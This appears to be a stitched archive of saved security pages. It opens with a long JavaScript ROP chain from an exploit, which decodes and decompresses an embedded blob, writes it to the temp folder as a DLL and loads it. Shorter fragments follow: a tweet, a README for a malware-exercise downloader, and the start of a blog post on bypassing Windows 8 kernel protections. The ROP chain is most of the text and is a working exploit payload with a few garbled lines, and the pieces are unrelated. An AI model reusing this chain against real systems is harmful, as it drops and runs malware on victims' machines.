    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81801c); //scratch_space + 0x1c
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x72745374);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818020); //scratch_space + 0x20
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x54676e69);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818024); //scratch_space + 0x24
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x6e69426f);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818028); //scratch_space + 0x28
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41797261);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81802c); //scratch_space + 0x2c
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41414100);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81802d); //scratch_space + 0x2d
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x6c64746e);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818031); //scratch_space + 0x31
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x4141006c);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818033); //scratch_space + 0x33
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x446c7452);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818037); //scratch_space + 0x37
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x6d6f6365);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81803b); //scratch_space + 0x3b
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x73657270);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81803f); //scratch_space + 0x3f
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x66754273);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818043); //scratch_space + 0x43
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x726566);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x73736377);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81804b); //scratch_space + 0x4b
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41007274);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0240);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x538c1d); //xchg    eax,edi/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc023c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret 
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc022c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle
    
    r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47 ("wcsstr")
    r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {MSVCR90!wcsstr (7189752c)}
    r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
    r+=getUnescape(0x41414141); // Placeholder for Ptr to "Module" (unicode)
    r+=getUnescape(moduleLoadAddr+0x60a990] // "Module" (unicode)
    r+=getUnescape(moduleLoadAddr+0x2df56d); //add eax, 0ch/ret ; Points to after "Module"
    
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; Copies the start of that string above to the scratchspace
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x1010101);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret 
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x817030); //pointer to "Crypt32.dll"
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc02ac);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; ; Loads the address of "Crypt32.dll" to 4141 below
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(0x41414141); // Placeholder for the address of "Crypt32.dll"
    
    r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18 // Place holder in scratch space for handle of crypt32 from loadlibrary
    r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret 
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e 
    r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc033c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0340);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret 
    r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0344);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg    eax,ebp/ret ; sets ebp to attacker controlled data
    
    r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {CRYPT32!CryptStringToBinaryA (756e1360)}
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(0x41414141); // Placeholder for ptr to base64 above
    r+=getUnescape(0x42424242); // Placeholder for zeros above
    r+=getUnescape(0x43434343); // place holder for 1 above
    r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 0x66
    r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e
    r+=getUnescape(moduleLoadAddr+0x818056); //scratch_space + 0x56
    r+=getUnescape(moduleLoadAddr+0x81805a); //scratch_space + 0x5a
    
    r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret
    r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
    r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0428);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret 
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; ecx = 2
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x81804e); //; scratch_space + 0x4e
    r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0438);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e
    r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc042c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x81802d); //ptr to string (ntdll)
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0418);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(0x41414141); // place holder for above
    r+=getUnescape(moduleLoadAddr+0x818033); //prt to str "RtlDecompressBuffer"
    
    r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {ntdll!RtlDecompressBuffer (77585001)}
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(0x41414141); // Place Holder for above - which is 2 (LZNT)
    r+=getUnescape(0x44444444); // Place Holder for above - ptr to b64 blob
    r+=getUnescape(0x1010101); // Place Holder for above  - 01010101
    r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 66 - ptr to decoded blob
    r+=getUnescape(0x43434343); // Place holder for above 00004a51 
    r+=getUnescape(moduleLoadAddr+0x818052); //scratch_space + 52 ptr to "756f7365"
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} 
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll"
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc047c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(0x41414141); // handle
    r+=getUnescape(moduleLoadAddr+0x81800e); //ptr to "fwrite"
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc05ec);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret; 
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x60a4fc); //ptr to Kernel32.dll
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc04e0);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(0x41414141); // Handle
    r+=getUnescape(moduleLoadAddr+0x818001] ptr to GetTempPathA
    r+=getUnescape(moduleLoadAddr+0x154a); //jmp     eax {kernel32!GetTempPathA (769e8996)}
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(0x1010101); // 
    r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; to be used to store the path
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; path
    r+=getUnescape(moduleLoadAddr+0x4f16f4); //add     eax,ecx/ret
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret ; is zero
    r+=getUnescape(0x542e44); // is "D.T"
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret ;
    r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret ;
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc05f8);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret 
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x818052]
    r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc05fc);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f165c); //65cf265c={MSVCR90!fopen (7188fe4a)}
    r+=getUnescape(moduleLoadAddr+0x1dee7); //jmp [eax]
    r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01 ; Points to temppath+DLL name
    r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 15 ; points to "wb"
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret ;
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0600);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; 
    
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc0614);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ecx is ptr to 0
    
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e;
    r+=getUnescape(moduleLoadAddr+0x465f20); //mov     eax,dword ptr [ecx]/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); //xchg    eax,ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret
    r+=getUnescape(0xcccc05f4);
    r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); //add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(0x42424242); // ptr to fwrite 
    r+=getUnescape(moduleLoadAddr+0x5012b3); //add     esp,10h/ret
    r+=getUnescape(0x43434343); // ptr to start of program
    r+=getUnescape(0x44444444); // 1
    r+=getUnescape(0x44444444); // 00008c00
    r+=getUnescape(0x45454545); // file handle
    
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1668); // ptr to fclose
    r+=getUnescape(moduleLoadAddr+0x1dee7); // jmp     dword ptr [eax]
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret - Useless?
    r+=getUnescape(0x45454545);
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}
    
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x818101); //Loads D.T as a library
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f10c0); // ptr to SleepStub
    r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret
    
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(0x1010101);
    
    
    r+=getUnescape(0x6f004d);
    r+=getUnescape(0x750064);
    r+=getUnescape(0x65006c);
    
    ROP_ADD_ESP_4 = 0x20c709bb;
    ROP_ADD_ESP_8 = 0x20d7c5ad;
    ROP_ADD_ESP_10 = 0x20d022b3;
    ROP_ADD_ESP_14 = 0x20cfa63f;
    ROP_ADD_ESP_1C = 0x20cec3dd;
    ROP_ADD_ESP_3C = 0x2080df51;
    XCHG_EAX_ESP = 0x20d18753;
    NOP = 0x20801017;
    CLR_STACK  = 0x20cea9bf;
    STACK_PIVOT = 0x2089209e;
[/code]

# Twitter / meikk: a win of epic proportions ...

**Created:**| _1/31/2013 2:36:56 PM_  
---|---  
**Updated:**| _1/31/2013 2:36:56 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

<img src='img/Temp2_8592.jpg' width='48' height='48' alt='MeiK' />

meikk MeiK 30 Jan

a win of epic proportions pic.twitter.com/uUmSv4XA

**Details**

<img src='img/Temp2_8591.jpg' width='747' height='763' />

# MalwareReverseBrasil/maltran

**Created:**| _7/17/2017 11:37:50 AM_  
---|---  
**Updated:**| _7/17/2017 11:37:50 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis network-security_  
  

  

# **maltran** \- A command line tool to download malware exercises from
malware-traffic-analysis.net

This tool was developed with the purpose of furthering and organizing access
to **Malware-Traffic-Analysis** exercises. Maltran makes it easy to list and
download exercises in a simple and organized way.

## __Install

[code]

    $ git clone github.com/MalwareReverseBrasil/maltran.git
    	$ cd maltran
    		$ sudo apt install python3-pip
    			$ pip3 install -r requirements.txt
    
[/code]

## __Usage

[code]

    $ python3 maltran.py
    
[/code]

<img
src='img/6780_68747470733a2f2f696d6167652e70726e747363722e636f6d2f696d6167652f6c5a5879746e677654557531594573693359624f59672e6a7067.jpg'
width='888' height='465' alt='output example' />

> __**Developers:**
>   * **Vandré Augusto,** Electric Engineer & Malware Researcher - blog
>   * **Ialle Teixeira,** Security/Malware Researcher - blog
>

  

# Bridging the Gap between the Enterprise and You – or – Who’s the JBoss now?

**Created:**| _4/21/2010 3:46:04 PM_  
---|---  
**Updated:**| _4/21/2010 3:46:36 PM_  
**Author:**| __  
**Tags:**| _web Java programming Enterprise Middleware business_  
  
<img src='img/Temp2_1141' />

# Windows 8 Kernel Memory Protections Bypass - mwrlabs

**Created:**| _1/31/2015 11:51:48 AM_  
---|---  
**Updated:**| _1/31/2015 11:51:48 AM_  
**Author:**| __  
**Tags:**| __  
  

# Windows 8 Kernel Memory Protections Bypass

Recently, intern Jérémy Fetiveau \(@\_\_x86\) conducted a research project
into the kernel protections introduced in Microsoft Windows 8 and newer. This
blog post details his findings, and presents a generic technique for
exploiting kernel vulnerabilities, bypassing and . Proof-of-concept code is
provided which reliably gains SYSTEM privileges, and requires only a single
vulnerability that provides an attacker with a write-what-where primitive. We
demonstrate this issue by providing a custom kernel driver, which simulates
the presence of such a kernel vulnerability.

### Introduction

Before diving into the details of the bypass technique, we will quickly run
through some of the technologies we will be breaking, and what they do. If you
want to grab the code and follow along as we go, you can get the zip of the
files here.

\(Supervisor Mode Execution Prevention\) is a mitigation that aims to prevent
the from running code from user-mode while in kernel-mode. is implemented at
